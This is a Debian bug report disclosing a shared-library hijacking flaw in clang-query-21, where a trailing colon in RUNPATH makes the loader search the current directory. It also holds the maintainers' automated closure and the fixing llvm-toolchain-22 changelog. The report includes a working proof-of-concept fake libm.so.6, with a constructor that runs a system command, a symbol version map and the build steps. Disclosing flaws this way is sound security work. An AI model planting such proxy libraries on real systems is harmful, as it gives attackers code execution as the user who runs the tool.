#1142548 clang-tools-21: Shared library hijacking via Implicit CWD in RUNPATH

Package:
clang-tools-22
Source:
clang-tools-22
Description:
clang-based tools for C/C++ developments
Submitter:
Jonathan Trowbridge
Date:
2026-09-27 06:51:03 UTC
Severity:
normal
Tags:
#1142548#5
Date:
2026-05-28 01:55:15 UTC
From:
To:
 I have identified a security vulnerability (CWE-427) in the
`clang-query-21` binary where the `RUNPATH` contains a trailing colon (`:`).

According to ELF standards, a trailing or empty entry in `RUNPATH` is
interpreted by the dynamic linker as the current working directory (`.`).
This allows a local attacker to achieve arbitrary code  execution as the
user running `clang-query-21` by placing a malicious shared library in the
working directory.

*Verification:*

 $ readelf -d /usr/bin/clang-query-21 | grep RUNPATH

 0x000000000000001d (RUNPATH)            Library runpath:
[$ORIGIN/../lib:/build/reproducible-path/llvm-toolchain-21-21.1.8/build-llvm/tools/clang/stage2-bins/lib:]

Note the trailing colon. Other binaries in the same package, such as
clang-check-21, have correctly formed RUNPATHs ($ORIGIN/../lib).

*Proof-of-Concept:*

I have successfully exploited this on a Kali Linux (arm64) system by
creating a "proxy" `libm.so.6` in the current directory. By satisfying the
`GLIBC_2.17`, `GLIBC_2.29`, and `GLIBC_2.38` version requirements for
symbols like `fmod`, `log`, and `pow`, I was able to execute a
constructor-based payload (system call to touch /tmp/pwned) before the main
process starts.

This appears to be a build-system misconfiguration specifically affecting
the `clang-query` component of the `llvm-toolchain-21` source package.

*poc_libm.c*

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Dummy implementations
double fmod(double x, double y) { return 0.0; }
double log10(double x) { return 0.0; }
double log(double x) { return 0.0; }
double pow(double x, double y) { return 0.0; }
double ceil(double x) { return 0.0; }
double floor(double x) { return 0.0; }
double exp(double x) { return 0.0; }
double log2(double x) { return 0.0; }
double sin(double x) { return 0.0; }
double cos(double x) { return 0.0; }
double tan(double x) { return 0.0; }
double cosh(double x) { return 0.0; }
double sinh(double x) { return 0.0; }
double tanh(double x) { return 0.0; }
double erf(double x) { return 0.0; }
double logb(double x) { return 0.0; }
double log1p(double x) { return 0.0; }
double atan(double x) { return 0.0; }
double acos(double x) { return 0.0; }
double asin(double x) { return 0.0; }
double atan2(double y, double x) { return 0.0; }
double sqrt(double x) { return 0.0; }
double remainder(double x, double y) { return 0.0; }
int fesetround(int round) { return 0; }

void __attribute__((constructor)) init() {
    system("touch /tmp/pwned");
    printf("\n[!] HIJACK SUCCESSFUL: libm.so.6 proxied for
clang-query-21\n");
    exit(0);
}

*versions.map*

GLIBC_2.17 {
    global:
        log10; ceil; floor; sin; cos; tan; cosh; sinh; tanh; erf; logb;
log1p; atan; acos; asin; atan2; sqrt; remainder; fesetround;
};
GLIBC_2.29 {
    global:
        pow; exp; log2; log;
};
GLIBC_2.38 {
    global:
        fmod;
};
GLIBC_2.27 { global: *; };

*Example:*

$ gcc -shared -fPIC poc_libm.c -o libm.so.6
-Wl,--version-script=versions.map
$ /usr/bin/clang-query-21

[!] HIJACK SUCCESSFUL: libm.so.6 proxied for clang-query-21

$ ls /tmp | grep pwned
pwned

 I am reporting this to the BTS as per the Debian Security FAQ guidance for
vulnerabilities in the 'unstable' distribution.

*Proposed Fix:*

The RUNPATH should be sanitized during the build process to remove trailing
colons.

#1142548#20
Date:
2026-09-27 06:49:29 UTC
From:
To:
We believe that the bug you reported is fixed in the latest version of
llvm-toolchain-22, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 1142548@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Matthias Klose <doko@debian.org> (supplier of updated llvm-toolchain-22 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)
Format: 1.8
Date: Sat, 25 Jul 2026 18:43:43 +0200
Source: llvm-toolchain-22
Architecture: source
Version: 1:22.1.8-2
Distribution: unstable
Urgency: medium
Maintainer: LLVM Packaging Team <pkg-llvm-team@lists.alioth.debian.org>
Changed-By: Matthias Klose <doko@debian.org>
Closes: 1137244 1138702 1141868 1142548 1142778 1147573
Changes:
 llvm-toolchain-22 (1:22.1.8-2) unstable; urgency=medium
 .
   [ Sylvestre Ledru ]
   * d/rules: retry the documentation build serially when sphinx's parallel
     workers die (bare "EOFError" from multiprocessing after a successful
     compile, trixie amd64/arm64 2026-09-02/03)
   * d/rules: set SCCACHE_IDLE_TIMEOUT=0 so the sccache server stays alive for
     the whole build; otherwise it idles out (default 600s) during the quiet
     final-link phase and the libfuzzer step auto-spawns a default-config server
     writing to $HOME/.cache/sccache, which fails with HOME=/nonexistent
   * d/rules: use the shared GCS sccache cache on arm64 too (add arm64 to the
     GCP arch filter)
   * d/rules: Disable sccache on the releases whose glibc is too old for the
     binary the build host provides. /opt/sccache/sccache comes from
     mozilla/sccache's latest release and, on s390x (the only arch without a
     static musl build), needs glibc >= 2.34 since v0.17.0. On focal
     (glibc 2.31) it cannot even start, and the build died at --start-server
     with "version `GLIBC_2.34' not found" in stamps/configure.
   * d/rules: Drop llvm-mt from the install list when it wasn't built.
     Upstream only builds llvm-mt when it detects libxml2 at configure
     time; on Ubuntu focal/arm64 the libxml2 symbol check fails and the
     tool is silently skipped, which made dh_install --fail-missing abort
     on usr/lib/llvm-22/bin/llvm-mt and usr/bin/llvm-mt-22.
   * Add a test for the wasi path detection. Thanks Max Gilmour for the work
     (Closes: #1138702)
   * d/control.in: libfuzzer-X.Y-dev now depends on libclang-rt-X.Y-dev.
     -fsanitize=fuzzer links libclang_rt.fuzzer*.a (and
     libclang_rt.ubsan_standalone.a) from the compiler-rt resource
     directory, which lives in libclang-rt-X.Y-dev. As it was only a
     Recommends of libclang-common-X.Y-dev, it was not pulled into build
     chroots and the link failed. Closes: #1147573.
   * d/debian-llvm-testsuite.bats: don't skip the libFuzzer compilation test
     when the compiler-rt libraries are missing, fail instead.
   * d/libmlir-X.Y.links.in: new, keep a /usr/lib/llvm-X.Y/lib symlink to the
     libMLIR SONAME now installed in /usr/lib/<triplet>. libmlir-X.Y-dev
     ships /usr/lib/llvm-X.Y/lib/libMLIR.so as a relative symlink to it and
     the mlir tools have that directory in their RUNPATH, so both were left
     dangling.
   * d/debian-llvm-testsuite.bats: link the fuzzer runtime from the
     compiler-rt resource directory instead of the removed
     /usr/lib/llvm-X.Y/lib/libFuzzer.a, and check that it is present.
   * d/control.in: document that libfuzzer-X.Y-dev is now a dependency
     package: the fuzzer runtime (libclang_rt.fuzzer*.a) and
     FuzzedDataProvider.h come from the compiler-rt resource directory in
     libclang-rt-X.Y-dev, which is what clang links for -fsanitize=fuzzer.
     This also avoids the empty-binary-package lintian warning.
 .
   [ Talha Can Havadar ]
   * d/p/amdgpu-fix-simulated-trap-continuation-block.diff: cherry-pick
     llvm/llvm-project@9429a1e809fd (PR #174774,
     "[AMDGPU] Fix insertSimulatedTrap to return correct continuation block")
     Fixes a codegen crash on gfx1100/gfx1101/gfx1102 (RDNA3 desktop:
     RX 7900/7800/7700/7600) where clang aborts with
     "fatal error: error in backend: Unsupported instruction : <MCInst NNNN ...>"
     from the AMDGPU AsmPrinter whenever a kernel contains a block that ends in
     llvm.trap() with no successors — an unlowered pseudo reaches the MC layer.
     Notably affects pytorch-rocm 2.12's Loss.hip (FTBFS). Reported upstream as
     llvm/llvm-project#208912. Fix landed on main branch on 2026-01-21 (LLVM 23);
     release/22.x was cut 8 days before and never received it. This cherry-pick
     lets 22.1.x carry the fix without waiting for a 22.1.9 or 22.2.0 point
     release upstream. (Closes: #1141868)
 .
   [ Matthias Klose ]
   * Fix removing RUNPATH, broken in Nov. 2025. Closes: #1142548.
   * Stop building, shipping and testing the obsolete libFuzzer.a.
     Closes: #1147573.
   * Install libmlir shared library in /usr/lib. Closes: #1142778.
   * libmlir: Remove provides, conflicts and replaces. Not needed.
     Closes: #1137244.
Checksums-Sha1:
 441066bfcd3adc8e2d99092a416906683559e6fb 15824 llvm-toolchain-22_22.1.8-2.dsc
 ac4e52194d08bd94088cc58c0a3afd9bc6823eae 183300 llvm-toolchain-22_22.1.8-2.debian.tar.xz
 58bf3666d647d57bc4e001cc8fcba9bf97cc8fe8 39282 llvm-toolchain-22_22.1.8-2_amd64.buildinfo
Checksums-Sha256:
 4df4e778010d03006998ff484996c9d12e7875da129bcaad1cf4e4dbc76abe62 15824 llvm-toolchain-22_22.1.8-2.dsc
 ecee9142cfd59c24ddd97710838cdad4c77558885911f97fa5a310c9e756d842 183300 llvm-toolchain-22_22.1.8-2.debian.tar.xz
 c01220676b53d2f10d65f51afe65d40e1390084263859b04526a3d0c21718f53 39282 llvm-toolchain-22_22.1.8-2_amd64.buildinfo
Files:
 d8b0a2317fb951bb40bd920273db37b9 15824 devel optional llvm-toolchain-22_22.1.8-2.dsc
 9c21723eb868497995784b37aa5c48d1 183300 devel optional llvm-toolchain-22_22.1.8-2.debian.tar.xz
 5772cfc89523702690dbaa2c71d9569e 39282 devel optional llvm-toolchain-22_22.1.8-2_amd64.buildinfo
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtg21mU05vsTRqVzPfmUo2nUvG+EFAmq4uYEACgkQfmUo2nUv
G+F+2w//T1x5wwShiqYbEO5m37NwCnNo5ANLiHFmDotqPRZtWDcJQr7BRX+PMBUh
XaeumbpRBjid960fbOhCeRUO9250iBe3qvpxtX9naL6uhE1hYxFFzTM6HIOJkCc7
Wf7vvHY7p9IFFivvSh+WTPC+dQJveIfEg9h3CH+aauLvKzLnwqUMltc/WPfUTwxE
HnmT+JVQVJNqid74mPCmD3GByBvqewm6+IpLNvXpIPQdPsDQQ+YcxturAnYAei27
ybr1n9jozrdCu4MiCOhSL3Pvi0zFeoq+EaD9ptFPnAD7JdY+Z7pdd6VMqWSPU+uH
7B/omJQXinGMwKTtY/sRWM5nntvkkdS/LDk/kosUl/+xJ3o064o/8flZlnyvxV15
ndKU7K0qjzwAJLI8ML+1H+8sjiSkGPhpY3ZCVhIQJShywfhSPTMS/icCqUFq14pr
8zGAqDjKEMPRRf2YKC8H4SRU40t4k2PRDHJxiczGa65kAqDNIyXdwXjtYPIbSR+C
Cc7J7kwjRZyfJaZaMqdnpEzmqRJJUa0ddIjJNi30CobghdiCwhF5mHUjGmUPgKK/
oYMTlPwTsLX/BW6XLyXyusrADZWa8SVfWUwZZMP9k/ELZgNXcU/3gUDL7GgoWUXx
qflZVIqNhicqtdWTTo81NB1u4SXBJyKApXhSBxw9H4jYuoIiJwk=
=Q/6H
-----END PGP SIGNATURE-----